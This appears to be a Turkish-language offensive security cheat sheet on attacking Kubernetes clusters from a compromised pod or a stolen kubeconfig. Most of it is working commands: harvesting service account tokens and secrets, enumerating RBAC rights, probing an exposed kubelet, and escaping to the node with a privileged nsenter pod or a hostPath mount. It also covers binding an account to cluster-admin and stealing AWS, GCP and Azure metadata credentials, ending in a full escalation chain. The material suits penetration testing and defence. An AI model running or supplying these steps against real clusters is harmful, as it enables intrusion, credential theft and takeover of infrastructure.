Skip to content

Kubernetes Saldırıları

K8s orchestration

K8s orchestration

Kubernetes’te saldırı; ele geçirilmiş bir pod’dan veya sızmış kubeconfig / API token’dan başlayıp RBAC yanlış yapılandırmaları, açık API/kubelet ve service account token’ları ile kümenin tamamına (ve bulut IAM’ine) yayılmaya odaklanır.

- Pod shell / SSRF / sızmış kubeconfig / CI token
- kubectl veya curl + SA token
- API server adresi (ortam değişkeni veya kubeconfig)
Terminal window
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
Terminal window
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Terminal window
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
Terminal window
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | openssl x509 -text -noout | head
Terminal window
env | grep -iE 'KUBERNETES|AWS|AZURE|GOOGLE|SECRET|PASS'
Terminal window
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
Terminal window
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
Terminal window
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
Terminal window
curl -sk -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/$NS/pods"
Terminal window
kubectl auth can-i --list
Terminal window
kubectl auth can-i create pods
Terminal window
kubectl auth can-i get secrets --all-namespaces
Terminal window
kubectl auth can-i create clusterrolebinding
Terminal window
kubectl get ns
Terminal window
kubectl get pods -A
Terminal window
kubectl get nodes -o wide
Terminal window
kubectl get secrets -A
Terminal window
kubectl get sa,roles,rolebindings -A
Terminal window
kubectl get clusterroles,clusterrolebindings

Dışarıdan:

Terminal window
export KUBECONFIG=./stolen-kubeconfig
Terminal window
kubectl cluster-info
Terminal window
kubectl get nodes
Terminal window
curl -sk https://API:6443/version
Terminal window
curl -sk https://API:6443/api
Terminal window
curl -sk https://NODE:10250/pods
Terminal window
curl -sk https://NODE:10250/runningpods/
- Aşırı yetkili SA (cluster-admin bağlı) → tüm kümeyi yönet
- Default SA'ya gereksiz RoleBinding
- Açık kubelet (10250) → node üzerinde komut / log
- Anonim/açık API server → yetkisiz list/create
- create pods + hostPath / privileged / hostPID / hostNetwork → node escape
- secrets get/list → DB/cloud kimlik bilgileri
- create clusterrolebinding → anında cluster-admin
- Impersonate users/groups
- etcd açık / yedek sızıntısı
- Ingress / dashboard (kubernetes-dashboard) public

kubectl · can-i

embedded tool
Generated command
kubectl auth can-i --list
  1. Yetkini ölç — kubectl auth can-i –list ; create pods , get secrets , create clusterrolebinding , impersonate gibi kritik izinleri ara. peirates veya kubectl-who-can ile otomatikleştir.

  2. Privileged / hostPath pod ile node’a in — hostPath ile / mount eden veya privileged: true + hostPID + nsenter pod’u oluştur.

  3. Secret hasadı — kubectl get secrets -A -o yaml ; cloud SA JSON, DB, registry pull secret, TLS key çek.

  4. Cluster-admin’e yüksel — create clusterrolebinding iznin varsa SA’nı cluster-admin’e bağla; sonra tüm namespace’lerde kalıcılık kur.

Terminal window
kubectl run pwn --restart=Never -it --rm --image=alpine --overrides='
{
"spec": {
"hostPID": true,
"hostNetwork": true,
"containers": [{
"name": "p",
"image": "alpine",
"securityContext": {"privileged": true},
"command": ["nsenter", "--mount=/proc/1/ns/mnt", "--", "/bin/bash"],
"stdin": true, "tty": true
}]
}
}'
apiVersion: v1
kind: Pod
metadata:
name: hostfs
spec:
containers:
- name: c
image: alpine
command: ["sleep", "3600"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
Terminal window
kubectl exec -it hostfs -- chroot /host bash
Terminal window
kubectl create clusterrolebinding pwn-admin \
--clusterrole=cluster-admin \
--serviceaccount=namespace:default

Node’a indikten veya hostNetwork ile:

Terminal window
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Terminal window
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
App pod RCE
→ SA token can-i create pods + list secrets
→ secrets → registry + DB
→ privileged pod → node root
→ cloud instance metadata → proje/hesap IAM